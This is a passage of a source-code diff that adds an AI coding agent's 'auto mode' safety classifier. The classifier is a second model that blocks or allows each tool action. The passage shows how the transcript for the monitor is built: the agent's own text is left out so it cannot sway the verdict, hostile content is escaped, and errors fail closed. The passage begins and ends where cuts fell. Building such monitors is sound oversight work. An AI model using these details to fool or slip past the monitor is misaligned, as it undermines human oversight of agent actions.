+    logForDebugging(
+      `Dumped auto mode req/res to ${getAutoModeDumpDir()}/${base}.{req,res}.json`,
+    )
+  } catch {
+    // Ignore errors
+  }
+}
+
+/**
+ * Session-scoped dump file for auto mode classifier error prompts. Written on API
+ * error so users can share via /share without needing to repro with env var.
+ */
+export function getAutoModeClassifierErrorDumpPath(): string {
+  return join(
+    getClaudeTempDir(),
+    'auto-mode-classifier-errors',
+    `${getSessionId()}.txt`,
+  )
+}
+
+/**
+ * Snapshot of the most recent classifier API request(s), stringified lazily
+ * only when /share reads it. Array because the XML path may send two requests
+ * (stage1 + stage2). Stored in bootstrap/state.ts to avoid module-scope
+ * mutable state.
+ */
+export function getAutoModeClassifierTranscript(): string | null {
+  const requests = getLastClassifierRequests()
+  if (requests === null) return null
+  return jsonStringify(requests, null, 2)
+}
+
+/**
+ * Dump classifier input prompts + context-comparison diagnostics on API error.
+ * Written to a session-scoped file in the claude temp dir so /share can collect
+ * it (replaces the old Desktop dump). Includes context numbers to help diagnose
+ * projection divergence (classifier tokens >> main loop tokens).
+ * Returns the dump path on success, null on failure.
+ */
+async function dumpErrorPrompts(
+  systemPrompt: string,
+  userPrompt: string,
+  error: unknown,
+  contextInfo: {
+    mainLoopTokens: number
+    classifierChars: number
+    classifierTokensEst: number
+    transcriptEntries: number
+    messages: number
+    action: string
+    model: string
+  },
+): Promise<string | null> {
+  try {
+    const path = getAutoModeClassifierErrorDumpPath()
+    await mkdir(dirname(path), { recursive: true })
+    const content =
+      `=== ERROR ===\n${errorMessage(error)}\n\n` +
+      `=== CONTEXT COMPARISON ===\n` +
+      `timestamp: ${new Date().toISOString()}\n` +
+      `model: ${contextInfo.model}\n` +
+      `mainLoopTokens: ${contextInfo.mainLoopTokens}\n` +
+      `classifierChars: ${contextInfo.classifierChars}\n` +
+      `classifierTokensEst: ${contextInfo.classifierTokensEst}\n` +
+      `transcriptEntries: ${contextInfo.transcriptEntries}\n` +
+      `messages: ${contextInfo.messages}\n` +
+      `delta (classifierEst - mainLoop): ${contextInfo.classifierTokensEst - contextInfo.mainLoopTokens}\n\n` +
+      `=== ACTION BEING CLASSIFIED ===\n${contextInfo.action}\n\n` +
+      `=== SYSTEM PROMPT ===\n${systemPrompt}\n\n` +
+      `=== USER PROMPT (transcript) ===\n${userPrompt}\n`
+    await writeFile(path, content, 'utf-8')
+    logForDebugging(`Dumped auto mode classifier error prompts to ${path}`)
+    return path
+  } catch {
+    return null
+  }
+}
+
+const yoloClassifierResponseSchema = lazySchema(() =>
+  z.object({
+    thinking: z.string(),
+    shouldBlock: z.boolean(),
+    reason: z.string(),
+  }),
+)
+
+export const YOLO_CLASSIFIER_TOOL_NAME = 'classify_result'
+
+const YOLO_CLASSIFIER_TOOL_SCHEMA: BetaToolUnion = {
+  type: 'custom',
+  name: YOLO_CLASSIFIER_TOOL_NAME,
+  description: 'Report the security classification result for the agent action',
+  input_schema: {
+    type: 'object',
+    properties: {
+      thinking: {
+        type: 'string',
+        description: 'Brief step-by-step reasoning.',
+      },
+      shouldBlock: {
+        type: 'boolean',
+        description:
+          'Whether the action should be blocked (true) or allowed (false)',
+      },
+      reason: {
+        type: 'string',
+        description: 'Brief explanation of the classification decision',
+      },
+    },
+    required: ['thinking', 'shouldBlock', 'reason'],
+  },
+}
+
+type TranscriptBlock =
+  | { type: 'text'; text: string }
+  | { type: 'tool_use'; name: string; input: unknown }
+
+export type TranscriptEntry = {
+  role: 'user' | 'assistant'
+  content: TranscriptBlock[]
+}
+
+/**
+ * Build transcript entries from messages.
+ * Includes user text messages and assistant tool_use blocks (excluding assistant text).
+ * Queued user messages (attachment messages with queued_command type) are extracted
+ * and emitted as user turns.
+ */
+export function buildTranscriptEntries(messages: Message[]): TranscriptEntry[] {
+  const transcript: TranscriptEntry[] = []
+  for (const msg of messages) {
+    if (msg.type === 'attachment' && msg.attachment.type === 'queued_command') {
+      const prompt = msg.attachment.prompt
+      let text: string | null = null
+      if (typeof prompt === 'string') {
+        text = prompt
+      } else if (Array.isArray(prompt)) {
+        text =
+          prompt
+            .filter(
+              (block): block is { type: 'text'; text: string } =>
+                block.type === 'text',
+            )
+            .map(block => block.text)
+            .join('\n') || null
+      }
+      if (text !== null) {
+        transcript.push({
+          role: 'user',
+          content: [{ type: 'text', text }],
+        })
+      }
+    } else if (msg.type === 'user') {
+      const content = msg.message.content
+      const textBlocks: TranscriptBlock[] = []
+      if (typeof content === 'string') {
+        textBlocks.push({ type: 'text', text: content })
+      } else if (Array.isArray(content)) {
+        for (const block of content) {
+          if (block.type === 'text') {
+            textBlocks.push({ type: 'text', text: block.text })
+          }
+        }
+      }
+      if (textBlocks.length > 0) {
+        transcript.push({ role: 'user', content: textBlocks })
+      }
+    } else if (msg.type === 'assistant') {
+      const blocks: TranscriptBlock[] = []
+      for (const block of msg.message.content) {
+        // Only include tool_use blocks — assistant text is model-authored
+        // and could be crafted to influence the classifier's decision.
+        if (block.type === 'tool_use') {
+          blocks.push({
+            type: 'tool_use',
+            name: block.name,
+            input: block.input,
+          })
+        }
+      }
+      if (blocks.length > 0) {
+        transcript.push({ role: 'assistant', content: blocks })
+      }
+    }
+  }
+  return transcript
+}
+
+type ToolLookup = ReadonlyMap<string, Tool>
+
+function buildToolLookup(tools: Tools): ToolLookup {
+  const map = new Map<string, Tool>()
+  for (const tool of tools) {
+    map.set(tool.name, tool)
+    for (const alias of tool.aliases ?? []) {
+      map.set(alias, tool)
+    }
+  }
+  return map
+}
+
+/**
+ * Serialize a single transcript block as a JSONL dict line: `{"Bash":"ls"}`
+ * for tool calls, `{"user":"text"}` for user text. The tool value is the
+ * per-tool `toAutoClassifierInput` projection. JSON escaping means hostile
+ * content can't break out of its string context to forge a `{"user":...}`
+ * line — newlines become `\n` inside the value.
+ *
+ * Returns '' for tool_use blocks whose tool encodes to ''.
+ */
+function toCompactBlock(
+  block: TranscriptBlock,
+  role: TranscriptEntry['role'],
+  lookup: ToolLookup,
+): string {
+  if (block.type === 'tool_use') {
+    const tool = lookup.get(block.name)
+    if (!tool) return ''
+    const input = (block.input ?? {}) as Record<string, unknown>
+    // block.input is unvalidated model output from history — a tool_use rejected
+    // for bad params (e.g. array emitted as JSON string) still lands in the
+    // transcript and would crash toAutoClassifierInput when it assumes z.infer<Input>.
+    // On throw or undefined, fall back to the raw input object — it gets
+    // single-encoded in the jsonStringify wrap below (no double-encode).
+    let encoded: unknown
+    try {
+      encoded = tool.toAutoClassifierInput(input) ?? input
+    } catch (e) {
+      logForDebugging(
+        `toAutoClassifierInput failed for ${block.name}: ${errorMessage(e)}`,
+      )
+      logEvent('tengu_auto_mode_malformed_tool_input', {
+        toolName:
+          block.name as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      })
+      encoded = input
+    }
+    if (encoded === '') return ''
+    if (isJsonlTranscriptEnabled()) {
+      return jsonStringify({ [block.name]: encoded }) + '\n'
+    }
+    const s = typeof encoded === 'string' ? encoded : jsonStringify(encoded)
+    return `${block.name} ${s}\n`
+  }
+  if (block.type === 'text' && role === 'user') {
+    return isJsonlTranscriptEnabled()
+      ? jsonStringify({ user: block.text }) + '\n'
+      : `User: ${block.text}\n`
+  }
+  return ''
+}
+
+function toCompact(entry: TranscriptEntry, lookup: ToolLookup): string {
+  return entry.content.map(b => toCompactBlock(b, entry.role, lookup)).join('')
+}
+
+/**
+ * Build a compact transcript string including user messages and assistant tool_use blocks.
+ * Used by AgentTool for handoff classification.
+ */
+export function buildTranscriptForClassifier(
+  messages: Message[],
+  tools: Tools,
+): string {
+  const lookup = buildToolLookup(tools)
+  return buildTranscriptEntries(messages)
+    .map(e => toCompact(e, lookup))
+    .join('')
+}
+
+/**
+ * Build the CLAUDE.md prefix message for the classifier. Returns null when
+ * CLAUDE.md is disabled or empty. The content is wrapped in a delimiter that
+ * tells the classifier this is user-provided configuration — actions
+ * described here reflect user intent. cache_control is set because the
+ * content is static per-session, making the system + CLAUDE.md prefix a
+ * stable cache prefix across classifier calls.
+ *
+ * Reads from bootstrap/state.ts cache (populated by context.ts) instead of
+ * importing claudemd.ts directly — claudemd → permissions/filesystem →
+ * permissions → yoloClassifier is a cycle. context.ts already gates on
+ * CLAUDE_CODE_DISABLE_CLAUDE_MDS and normalizes '' to null before caching.
+ * If the cache is unpopulated (tests, or an entrypoint that never calls
+ * getUserContext), the classifier proceeds without CLAUDE.md — same as
+ * pre-PR behavior.
+ */
+function buildClaudeMdMessage(): Anthropic.MessageParam | null {
+  const claudeMd = getCachedClaudeMdContent()
+  if (claudeMd === null) return null
+  return {
+    role: 'user',
+    content: [
+      {
+        type: 'text',
+        text:
+          `The following is the user's CLAUDE.md configuration. These are ` +
+          `instructions the user provided to the agent and should be treated ` +
+          `as part of the user's intent when evaluating actions.\n\n` +
+          `<user_claude_md>\n${claudeMd}\n</user_claude_md>`,
+        cache_control: getCacheControl({ querySource: 'auto_mode' }),
+      },
+    ],
+  }
+}
+
+/**
+ * Build the system prompt for the auto mode classifier.
+ * Assembles the base prompt with the permissions template and substitutes
+ * user allow/deny/environment values from settings.autoMode.
+ */
+export async function buildYoloSystemPrompt(
+  context: ToolPermissionContext,
+): Promise<string> {
+  const usingExternal = isUsingExternalPermissions()
+  const systemPrompt = BASE_PROMPT.replace('<permissions_template>', () =>
+    usingExternal
+      ? EXTERNAL_PERMISSIONS_TEMPLATE
+      : ANTHROPIC_PERMISSIONS_TEMPLATE,
+  )
+
+  const autoMode = getAutoModeConfig()
+  const includeBashPromptRules = feature('BASH_CLASSIFIER')
+    ? !usingExternal
+    : false
+  const includePowerShellGuidance = feature('POWERSHELL_AUTO_MODE')
+    ? !usingExternal
+    : false
+  const allowDescriptions = [
+    ...(includeBashPromptRules ? getBashPromptAllowDescriptions(context) : []),
+    ...(autoMode?.allow ?? []),
+  ]
+  const denyDescriptions = [
+    ...(includeBashPromptRules ? getBashPromptDenyDescriptions(context) : []),
+    ...(includePowerShellGuidance ? POWERSHELL_DENY_GUIDANCE : []),
+    ...(autoMode?.soft_deny ?? []),
+  ]
+
+  // All three sections use the same <foo_to_replace>...</foo_to_replace>
+  // delimiter pattern. The external template wraps its defaults inside the
+  // tags, so user-provided values REPLACE the defaults entirely. The
+  // anthropic template keeps its defaults outside the tags and uses an empty
+  // tag pair at the end of each section, so user-provided values are
+  // strictly ADDITIVE.
+  const userAllow = allowDescriptions.length
+    ? allowDescriptions.map(d => `- ${d}`).join('\n')
+    : undefined
+  const userDeny = denyDescriptions.length
+    ? denyDescriptions.map(d => `- ${d}`).join('\n')
+    : undefined
+  const userEnvironment = autoMode?.environment?.length
+    ? autoMode.environment.map(e => `- ${e}`).join('\n')
+    : undefined
+
+  return systemPrompt
+    .replace(
+      /<user_allow_rules_to_replace>([\s\S]*?)<\/user_allow_rules_to_replace>/,
+      (_m, defaults: string) => userAllow ?? defaults,
+    )
+    .replace(
+      /<user_deny_rules_to_replace>([\s\S]*?)<\/user_deny_rules_to_replace>/,
+      (_m, defaults: string) => userDeny ?? defaults,
+    )
+    .replace(
+      /<user_environment_to_replace>([\s\S]*?)<\/user_environment_to_replace>/,
+      (_m, defaults: string) => userEnvironment ?? defaults,
+    )
+}
+// ============================================================================
+// 2-Stage XML Classifier
+// ============================================================================
+
+/**
+ * Stage 1 suffix (xml_s1_h2): appended after the transcript to nudge
+ * immediate decision. Matches XML_S1_SUFFIXES["h2"] in
+ * sandbox/johnh/control/bpc_classifier/classifier.py.
+ */
+const XML_S1_SUFFIX = '\nErr on the side of blocking. <block> immediately.'
+/**
+ * Stage 2 suffix (xml_s2_t2): appended after the transcript to elicit
+ * reasoning. Matches XML_S2_SUFFIXES["t2"] in
+ * sandbox/johnh/control/bpc_classifier/classifier.py — the default S2 mode
+ * in sandbox/alexg/evals/{cc_report_bpc_eval,tool_denial_bpc_eval}.py.
+ *
+ * vs "t" variant: adds explicit reminder to follow classification process
+ * and that user confirmation must be explicit (not suggestive/implicit).
+ */
+const XML_S2_SUFFIX =
+  '\nReview the classification process and follow it carefully, making sure you deny actions that should be blocked. As a reminder, explicit (not suggestive or implicit) user confirmation is required to override blocks. Use <thinking> before responding with <block>.'
+
+/**
+ * Strip thinking content so that <block>/<reason> tags inside
+ * the model's chain-of-thought don't get matched by parsers.
+ */
+function stripThinking(text: string): string {
+  return text
+    .replace(/<thinking>[\s\S]*?<\/thinking>/g, '')
+    .replace(/<thinking>[\s\S]*$/, '')
+}
+
+/**
+ * Parse XML block response: <block>yes/no</block>
+ * Strips thinking content first to avoid matching tags inside reasoning.
+ * Returns true for "yes" (should block), false for "no", null if unparseable.
+ */
+function parseXmlBlock(text: string): boolean | null {
+  const matches = [
+    ...stripThinking(text).matchAll(/<block>(yes|no)\b(<\/block>)?/gi),
+  ]
+  if (matches.length === 0) return null
+  return matches[0]![1]!.toLowerCase() === 'yes'
+}
+
+/**
+ * Parse XML reason: <reason>...</reason>
+ * Strips thinking content first to avoid matching tags inside reasoning.
+ */
+function parseXmlReason(text: string): string | null {
+  const matches = [
+    ...stripThinking(text).matchAll(/<reason>([\s\S]*?)<\/reason>/g),
+  ]
+  if (matches.length === 0) return null
+  return matches[0]![1]!.trim()
+}
+
+/**
+ * Parse XML thinking content: <thinking>...</thinking>
+ */
+function parseXmlThinking(text: string): string | null {
+  const match = /<thinking>([\s\S]*?)<\/thinking>/.exec(text)
+  return match ? match[1]!.trim() : null
+}
+
+/**
+ * Extract usage stats from an API response.
+ */
+function extractUsage(
+  result: Anthropic.Beta.Messages.BetaMessage,
+): ClassifierUsage {
+  return {
+    inputTokens: result.usage.input_tokens,
+    outputTokens: result.usage.output_tokens,
+    cacheReadInputTokens: result.usage.cache_read_input_tokens ?? 0,
+    cacheCreationInputTokens: result.usage.cache_creation_input_tokens ?? 0,
+  }
+}
+
+/**
+ * Extract the API request_id (req_xxx) that the SDK attaches as a
+ * non-enumerable `_request_id` property on response objects.
+ */
+function extractRequestId(
+  result: Anthropic.Beta.Messages.BetaMessage,
+): string | undefined {
+  return (result as { _request_id?: string | null })._request_id ?? undefined
+}
+
+/**
+ * Combine usage from two classifier stages into a single total.
+ */
+function combineUsage(a: ClassifierUsage, b: ClassifierUsage): ClassifierUsage {
+  return {
+    inputTokens: a.inputTokens + b.inputTokens,
+    outputTokens: a.outputTokens + b.outputTokens,
+    cacheReadInputTokens: a.cacheReadInputTokens + b.cacheReadInputTokens,
+    cacheCreationInputTokens:
+      a.cacheCreationInputTokens + b.cacheCreationInputTokens,
+  }
+}
+
+/**
+ * Replace the tool_use output format instruction with XML format.
+ * Finds the last line of the prompt ("Use the classify_result tool...")
+ * and replaces it with XML output instructions.
+ */
+function replaceOutputFormatWithXml(systemPrompt: string): string {
+  const toolUseLine =
+    'Use the classify_result tool to report your classification.'
+  const xmlFormat = [
+    '## Output Format',
+    '',
+    'If the action should be blocked:',
+    '<block>yes</block><reason>one short sentence</reason>',
+    '',
+    'If the action should be allowed:',
+    '<block>no</block>',
+    '',
+    'Do NOT include a <reason> tag when the action is allowed.',
+    'Your ENTIRE response MUST begin with <block>. Do NOT output any analysis, reasoning, or commentary before <block>. No "Looking at..." or similar preamble.',
+  ].join('\n')
+  return systemPrompt.replace(toolUseLine, xmlFormat)
+}
+
+/**
+ * Thinking config for classifier calls. The classifier wants short text-only
+ * responses — API thinking blocks are ignored by extractTextContent() and waste tokens.
+ *
+ * For most models: send { type: 'disabled' } via sideQuery's `thinking: false`.
+ *
+ * Models with alwaysOnThinking (declared in tengu_ant_model_override) default
+ * to adaptive thinking server-side and reject `disabled` with a 400. For those:
+ * don't pass `thinking: false`, instead pad max_tokens so adaptive thinking
+ * (observed 0–1114 tokens replaying go/ccshare/shawnm-20260310-202833) doesn't
+ * exhaust the budget before <block> is emitted. Without headroom,
+ * stop_reason=max_tokens yields an empty text response → parseXmlBlock('')
+ * → null → "unparseable" → safe commands blocked.
+ *
+ * Returns [disableThinking, headroom] — tuple instead of named object so
+ * property-name strings don't survive minification into external builds.
+ */
+function getClassifierThinkingConfig(
+  model: string,
+): [false | undefined, number] {
+  if (
+    process.env.USER_TYPE === 'ant' &&
+    resolveAntModel(model)?.alwaysOnThinking
+  ) {
+    return [undefined, 2048]
+  }
+  return [false, 0]
+}
+
+/**
+ * XML classifier for auto mode security decisions. Supports three modes:
+ *
+ * 'both' (default): Stage 1 ("fast") runs first with max_tokens=64 and
+ * stop_sequences for an immediate yes/no. If allowed, returns. If blocked,
+ * escalates to stage 2 ("thinking") with chain-of-thought to reduce false
+ * positives.
+ *
+ * 'fast': Stage 1 only. Bumps max_tokens to 256 and drops stop_sequences so
+ * the response can include <reason>. Stage 1 verdict is final.
+ *
+ * 'thinking': Stage 2 only. Skips stage 1 entirely.
+ *
+ * Both stages share the same system prompt and user content, benefiting from
+ * prompt caching (1h TTL) across calls.
+ */
+async function classifyYoloActionXml(
+  prefixMessages: Anthropic.MessageParam[],
+  systemPrompt: string,
+  userPrompt: string,
+  userContentBlocks: Array<
+    Anthropic.TextBlockParam | Anthropic.ImageBlockParam
+  >,
+  model: string,
+  promptLengths: {
+    systemPrompt: number
+    toolCalls: number
+    userPrompts: number
+  },
+  signal: AbortSignal,
+  dumpContextInfo: {
+    mainLoopTokens: number
+    classifierChars: number
+    classifierTokensEst: number
+    transcriptEntries: number
+    messages: number
+    action: string
+  },
+  mode: TwoStageMode,
+): Promise<YoloClassifierResult> {
+  const classifierType =
+    mode === 'both'
+      ? 'xml_2stage'
+      : mode === 'fast'
+        ? 'xml_fast'
+        : 'xml_thinking'
+  const xmlSystemPrompt = replaceOutputFormatWithXml(systemPrompt)
+  const systemBlocks: Anthropic.TextBlockParam[] = [
+    {
+      type: 'text' as const,
+      text: xmlSystemPrompt,
+      cache_control: getCacheControl({ querySource: 'auto_mode' }),
+    },
+  ]
+  let stage1Usage: ClassifierUsage | undefined
+  let stage1DurationMs: number | undefined
+  let stage1RequestId: string | undefined
+  let stage1MsgId: string | undefined
+  let stage1Opts: Parameters<typeof sideQuery>[0] | undefined
+  const overallStart = Date.now()
+  const [disableThinking, thinkingPadding] = getClassifierThinkingConfig(model)
+
+  // Wrap transcript entries in <transcript> tags for the XML classifier.
+  // Wrap all content (transcript + action) in <transcript> tags.
+  // The action is the final tool_use block in the transcript.
+  const wrappedContent: Array<
+    Anthropic.TextBlockParam | Anthropic.ImageBlockParam
+  > = [
+    { type: 'text' as const, text: '<transcript>\n' },
+    ...userContentBlocks,
+    { type: 'text' as const, text: '</transcript>\n' },
+  ]
+
+  try {
+    // Stage 1: fast (suffix nudges immediate <block> decision)
+    // Skipped entirely when mode === 'thinking'.
+    if (mode !== 'thinking') {
+      const stage1Start = Date.now()
+      const stage1Content = [
+        ...wrappedContent,
+        { type: 'text' as const, text: XML_S1_SUFFIX },
+      ]
+      // In fast-only mode, relax max_tokens and drop stop_sequences so the
+      // response can carry a <reason> tag (system prompt already asks for it).
+      stage1Opts = {
+        model,
+        max_tokens: (mode === 'fast' ? 256 : 64) + thinkingPadding,
+        system: systemBlocks,
+        skipSystemPromptPrefix: true,
+        temperature: 0,
+        thinking: disableThinking,
+        messages: [
+          ...prefixMessages,
+          { role: 'user' as const, content: stage1Content },
+        ],
+        maxRetries: getDefaultMaxRetries(),
+        signal,
+        ...(mode !== 'fast' && { stop_sequences: ['</block>'] }),
+        querySource: 'auto_mode',
+      }
+      const stage1Raw = await sideQuery(stage1Opts)
+      stage1DurationMs = Date.now() - stage1Start
+      stage1Usage = extractUsage(stage1Raw)
+      stage1RequestId = extractRequestId(stage1Raw)
+      stage1MsgId = stage1Raw.id
+      const stage1Text = extractTextContent(stage1Raw.content)
+      const stage1Block = parseXmlBlock(stage1Text)
+
+      void maybeDumpAutoMode(stage1Opts, stage1Raw, stage1Start, 'stage1')
+      setLastClassifierRequests([stage1Opts])
+
+      // If stage 1 says allow, return immediately (fast path)
+      if (stage1Block === false) {
+        logAutoModeOutcome('success', model, {
+          classifierType,
+          durationMs: stage1DurationMs,
+        })
+        return {
+          shouldBlock: false,
+          reason: 'Allowed by fast classifier',
+          model,
+          usage: stage1Usage,
+          durationMs: stage1DurationMs,
+          promptLengths,
+          stage: 'fast',
+          stage1RequestId,
+          stage1MsgId,
+        }
+      }
+
+      // In fast-only mode, stage 1 is final — handle block + unparseable here.
+      if (mode === 'fast') {
+        if (stage1Block === null) {
+          logAutoModeOutcome('parse_failure', model, { classifierType })
+          return {
+            shouldBlock: true,
+            reason: 'Classifier stage 1 unparseable - blocking for safety',
+            model,
+            usage: stage1Usage,
+            durationMs: stage1DurationMs,
+            promptLengths,
+            stage: 'fast',
+            stage1RequestId,
+            stage1MsgId,
+          }
+        }
+        // stage1Block === true
+        logAutoModeOutcome('success', model, {
+          classifierType,
+          durationMs: stage1DurationMs,
+        })
+        return {
+          shouldBlock: true,
+          reason: parseXmlReason(stage1Text) ?? 'Blocked by fast classifier',
+          model,
+          usage: stage1Usage,
+          durationMs: stage1DurationMs,
+          promptLengths,
+          stage: 'fast',
+          stage1RequestId,
+          stage1MsgId,
+        }
+      }
+    }
+
+    // Stage 2: thinking (suffix asks for chain-of-thought)
+    const stage2Start = Date.now()
+    const stage2Content = [
+      ...wrappedContent,
+      { type: 'text' as const, text: XML_S2_SUFFIX },
+    ]
+    const stage2Opts = {
+      model,
+      max_tokens: 4096 + thinkingPadding,
+      system: systemBlocks,
+      skipSystemPromptPrefix: true,
+      temperature: 0,
+      thinking: disableThinking,
+      messages: [
+        ...prefixMessages,
+        { role: 'user' as const, content: stage2Content },
+      ],
+      maxRetries: getDefaultMaxRetries(),
+      signal,
+      querySource: 'auto_mode' as const,
+    }
+    const stage2Raw = await sideQuery(stage2Opts)
+    const stage2DurationMs = Date.now() - stage2Start
+    const stage2Usage = extractUsage(stage2Raw)
+    const stage2RequestId = extractRequestId(stage2Raw)
+    const stage2MsgId = stage2Raw.id
+    const stage2Text = extractTextContent(stage2Raw.content)
+    const stage2Block = parseXmlBlock(stage2Text)
+    const totalDurationMs = (stage1DurationMs ?? 0) + stage2DurationMs
+    const totalUsage = stage1Usage
+      ? combineUsage(stage1Usage, stage2Usage)
+      : stage2Usage
+
+    void maybeDumpAutoMode(stage2Opts, stage2Raw, stage2Start, 'stage2')
+    setLastClassifierRequests(
+      stage1Opts ? [stage1Opts, stage2Opts] : [stage2Opts],
+    )
+
+    if (stage2Block === null) {
+      logAutoModeOutcome('parse_failure', model, { classifierType })
+      return {
+        shouldBlock: true,
+        reason: 'Classifier stage 2 unparseable - blocking for safety',
+        model,
+        usage: totalUsage,
+        durationMs: totalDurationMs,
+        promptLengths,
+        stage: 'thinking',
+        stage1Usage,
+        stage1DurationMs,
+        stage1RequestId,
+        stage1MsgId,
+        stage2Usage,
+        stage2DurationMs,
+        stage2RequestId,
+        stage2MsgId,
+      }
+    }
+
+    logAutoModeOutcome('success', model, {
+      classifierType,
+      durationMs: totalDurationMs,
+    })
+    return {
+      thinking: parseXmlThinking(stage2Text) ?? undefined,
+      shouldBlock: stage2Block,
+      reason: parseXmlReason(stage2Text) ?? 'No reason provided',
+      model,
+      usage: totalUsage,
+      durationMs: totalDurationMs,
+      promptLengths,
+      stage: 'thinking',
+      stage1Usage,
+      stage1DurationMs,
+      stage1RequestId,
+      stage1MsgId,
+      stage2Usage,
+      stage2DurationMs,
+      stage2RequestId,
+      stage2MsgId,
+    }
+  } catch (error) {
+    if (signal.aborted) {
+      logForDebugging('Auto mode classifier (XML): aborted by user')
+      logAutoModeOutcome('interrupted', model, { classifierType })
+      return {
+        shouldBlock: true,
+        reason: 'Classifier request aborted',
+        model,
+        unavailable: true,
+        durationMs: Date.now() - overallStart,
+        promptLengths,
+      }
+    }
+    const tooLong = detectPromptTooLong(error)
+    logForDebugging(
+      `Auto mode classifier (XML) error: ${errorMessage(error)}`,
+      {
+        level: 'warn',
+      },
+    )
+    const errorDumpPath =
+      (await dumpErrorPrompts(xmlSystemPrompt, userPrompt, error, {
+        ...dumpContextInfo,
+        model,
+      })) ?? undefined
+    logAutoModeOutcome(tooLong ? 'transcript_too_long' : 'error', model, {
+      classifierType,
+      ...(tooLong && {
+        transcriptActualTokens: tooLong.actualTokens,
+        transcriptLimitTokens: tooLong.limitTokens,
+      }),
+    })
+    return {
+      shouldBlock: true,
+      reason: tooLong
+        ? 'Classifier transcript exceeded context window'
+        : stage1Usage
+          ? 'Stage 2 classifier error - blocking based on stage 1 assessment'
+          : 'Classifier unavailable - blocking for safety',
+      model,
+      unavailable: stage1Usage === undefined,
+      transcriptTooLong: Boolean(tooLong),
+      stage: stage1Usage ? 'thinking' : undefined,
+      durationMs: Date.now() - overallStart,
+      errorDumpPath,
+      ...(stage1Usage && {
+        usage: stage1Usage,
+        stage1Usage,
+        stage1DurationMs,
+        stage1RequestId,
+        stage1MsgId,
+      }),
+      promptLengths,
+    }
+  }
+}
+
+/**
+ * Use Opus to classify whether an agent action should be allowed or blocked.
+ * Returns a YoloClassifierResult indicating the decision.
+ *
+ * On API errors, returns shouldBlock: true with unavailable: true so callers
+ * can distinguish "classifier actively blocked" from "classifier couldn't respond".
+ * Transient errors (429, 500) are retried by sideQuery internally (see getDefaultMaxRetries).
+ *
+ * @param messages - The conversation history
+ * @param action - The action being evaluated (tool name + input)
+ * @param tools - Tool registry for encoding tool inputs via toAutoClassifierInput
+ * @param context - Tool permission context for extracting Bash(prompt:) rules
+ * @param signal - Abort signal
+ */
+export async function classifyYoloAction(
+  messages: Message[],
+  action: TranscriptEntry,
+  tools: Tools,
+  context: ToolPermissionContext,
+  signal: AbortSignal,
+): Promise<YoloClassifierResult> {
+  const lookup = buildToolLookup(tools)
+  const actionCompact = toCompact(action, lookup)
+  // '' = "no security relevance" (Tool.toAutoClassifierInput contract). Without
+  // this guard the empty action block + cache_control below hits an API 400.
+  if (actionCompact === '') {
+    return {
+      shouldBlock: false,
+      reason: 'Tool declares no classifier-relevant input',
+      model: getClassifierModel(),
+    }
+  }
+
+  const systemPrompt = await buildYoloSystemPrompt(context)
+  const transcriptEntries = buildTranscriptEntries(messages)
+  const claudeMdMessage = buildClaudeMdMessage()
+  const prefixMessages: Anthropic.MessageParam[] = claudeMdMessage
+    ? [claudeMdMessage]
+    : []
+
+  let toolCallsLength = actionCompact.length
+  let userPromptsLength = 0
+  const userContentBlocks: Anthropic.TextBlockParam[] = []
+  for (const entry of transcriptEntries) {
+    for (const block of entry.content) {
+      const serialized = toCompactBlock(block, entry.role, lookup)
+      if (serialized === '') continue
+      switch (entry.role) {
+        case 'user':
+          userPromptsLength += serialized.length
+          break
+        case 'assistant':
+          toolCallsLength += serialized.length
+          break
+        default: {
+          const _exhaustive: never = entry.role
+          void _exhaustive
+        }
+      }
+      userContentBlocks.push({ type: 'text' as const, text: serialized })
+    }
+  }
+
+  const userPrompt = userContentBlocks.map(b => b.text).join('') + actionCompact
+  const promptLengths = {
+    systemPrompt: systemPrompt.length,
+    toolCalls: toolCallsLength,
+    userPrompts: userPromptsLength,
+  }
+
+  // Compare main-loop context vs classifier transcript to track projection
+  // divergence. tokenCountWithEstimation is cheap (walks back to last API
+  // response usage + estimates the tail slice) so we compute unconditionally
+  // for telemetry. The classifier prompt should stay strictly smaller than
+  // main-loop context so auto-compact fires before the classifier overflows.
+  const classifierChars = systemPrompt.length + userPrompt.length
+  const classifierTokensEst = Math.round(classifierChars / 4)
+  const mainLoopTokens = tokenCountWithEstimation(messages)
+  if (isDebugMode()) {
+    logForDebugging(
+      `[auto-mode] context comparison: ` +
+        `mainLoopTokens=${mainLoopTokens} ` +
+        `classifierChars=${classifierChars} ` +
+        `classifierTokensEst=${classifierTokensEst} ` +
+        `(sys=${promptLengths.systemPrompt} ` +
+        `tools=${promptLengths.toolCalls} ` +
+        `user=${promptLengths.userPrompts}) ` +
+        `transcriptEntries=${transcriptEntries.length} ` +
+        `messages=${messages.length}`,
+    )
+    logForDebugging(
+      `[auto-mode] new action being classified: ` +
+        `${actionCompact.length > 500 ? actionCompact.slice(0, 500) + '…' : actionCompact}`,
+    )
+  }
+
+  // Use getCacheControl for consistency with the main agent loop —
+  // respects GrowthBook TTL allowlist and query-source gating.
+  const cacheControl = getCacheControl({ querySource: 'auto_mode' })
+  // Place cache_control on the action block. In the two-stage classifier,
+  // stage 2 shares the same transcript+action prefix as stage 1 — the
+  // breakpoint here gives stage 2 a guaranteed cache hit on the full prefix.
+  // Budget: system (1) + CLAUDE.md (0–1) + action (1) = 2–3, under the
+  // API limit of 4 cache_control blocks.
+  userContentBlocks.push({
+    type: 'text' as const,
+    text: actionCompact,
+    cache_control: cacheControl,
+  })
+
+  const model = getClassifierModel()
+
+  // Dispatch to 2-stage XML classifier if enabled via GrowthBook
+  if (isTwoStageClassifierEnabled()) {
+    return classifyYoloActionXml(
+      prefixMessages,
+      systemPrompt,
+      userPrompt,
+      userContentBlocks,
+      model,
+      promptLengths,
+      signal,
+      {
+        mainLoopTokens: mainLoopTokens ?? tokenCountWithEstimation(messages),
+        classifierChars,
+        classifierTokensEst,
+        transcriptEntries: transcriptEntries.length,
+        messages: messages.length,
+        action: actionCompact,
+      },
+      getTwoStageMode(),
+    )
+  }
+  const [disableThinking, thinkingPadding] = getClassifierThinkingConfig(model)
+  try {
+    const start = Date.now()
+    const sideQueryOpts = {
+      model,
+      max_tokens: 4096 + thinkingPadding,
+      system: [
+        {
+          type: 'text' as const,
+          text: systemPrompt,
+          cache_control: getCacheControl({ querySource: 'auto_mode' }),
+        },
+      ],
+      skipSystemPromptPrefix: true,
+      temperature: 0,
+      thinking: disableThinking,
+      messages: [
+        ...prefixMessages,
+        { role: 'user' as const, content: userContentBlocks },
+      ],
+      tools: [YOLO_CLASSIFIER_TOOL_SCHEMA],
+      tool_choice: {
